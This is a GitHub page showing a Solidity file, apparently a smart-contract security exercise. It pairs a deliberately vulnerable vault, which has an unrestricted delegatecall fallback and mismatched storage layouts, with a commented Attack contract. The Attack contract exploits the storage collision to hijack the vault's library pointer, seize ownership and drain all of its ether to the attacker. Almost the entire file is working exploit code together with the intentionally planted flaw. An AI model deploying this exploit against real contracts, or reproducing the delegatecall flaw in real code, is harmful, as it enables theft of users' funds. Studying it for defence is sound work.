-
Notifications
You must be signed in to change notification settings - Fork 0
/
attack.sol
110 lines (88 loc) · 3.67 KB
/
attack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract NumberLib {
uint public base;
uint public currentNumber;
//set the base
function setBase(uint _base) public {
base = _base;
}
//compute base + offset
function getNumber(uint offset) public {
currentNumber = base + offset;
}
}
contract WithdrawalVault {
address public numberLibrary;
// the current number to withdraw
uint public currentNumber;
// the starting offset - zero initialized
uint public offsetCounter;
// the function selector
bytes4 constant seqSig = bytes4(keccak256("getNumber(uint256)"));
address owner;
// constructor - loads the contract with ether
constructor(address _numberLibrary) payable {
numberLibrary = _numberLibrary;
owner = msg.sender;
}
//this function withdraws money
function withdraw() public {
if(msg.sender == owner) {
offsetCounter += 1;
(bool status,) = numberLibrary.delegatecall(abi.encodePacked(seqSig, offsetCounter));
payable(msg.sender).transfer(currentNumber * 1 ether);
}
}
// allow users to call other number library functions if necessary
fallback() external {
(bool status,) = numberLibrary.delegatecall(msg.data);
}
}
contract Attack {
// Storage layout is the same as WithdrawalVault contract
uint public currentNumber;
address public numberLibrary;
uint public offsetCounter;
bytes4 constant seqSig = bytes4(keccak256("getNumber(uint256)"));
address public owner;
// Address of vault to be hacked by this Attack contract, namely: victim :)
address public vault;
constructor(address _vault) {
vault = _vault;
}
function attack() public {
// Replace address of WithdrawalVault's numberLibrary with Attacker's address
// Now WithdrawalVault's numberLibrary points to this contract
// Basically we steal numberLibrary of victim
vault.call(abi.encodeWithSignature("setBase(uint256)", uint(uint160(address(this)))));
// Call Attacker's setBase(), and change owner of WithdrawalVault with Attacker's address
// Here i give an arbitrary parameter: 1. This can be anything.
// See the overwritten setBase(uint offset) function below
vault.call(abi.encodeWithSignature("setBase(uint256)", 1));
// Withdraw money, from victim contract to this contract
vault.call(abi.encodeWithSignature("withdraw()"));
}
// Overwritten setBase() function
// When victim calls numberlib.setBase(), it will trigger this function
// See that function signature is the same as NumberLib's setBase(uint offset)
// And important part is that when this function is called, withdrawalVault's owner -
// will be replaced by this contract's address (Attack contract)
function setBase(uint offset) public {
owner = msg.sender;
}
// Overwritten getNumber() function that is being called from withdrawalVault's withdraw() function
// See that we trigger this function by calling victim's withdraw() function above
function getNumber(uint offset) public {
payable(msg.sender).transfer(address(this).balance);
}
// I personally put this function to take all money from Attack contract's to my own personal wallet
function collect() public{
payable(msg.sender).transfer(address(this).balance);
}
// As we forced victim to send all money to Attack contract,
// there will be an inter-contract money transfer.
// So this function should appear here .
receive() external payable {
}
}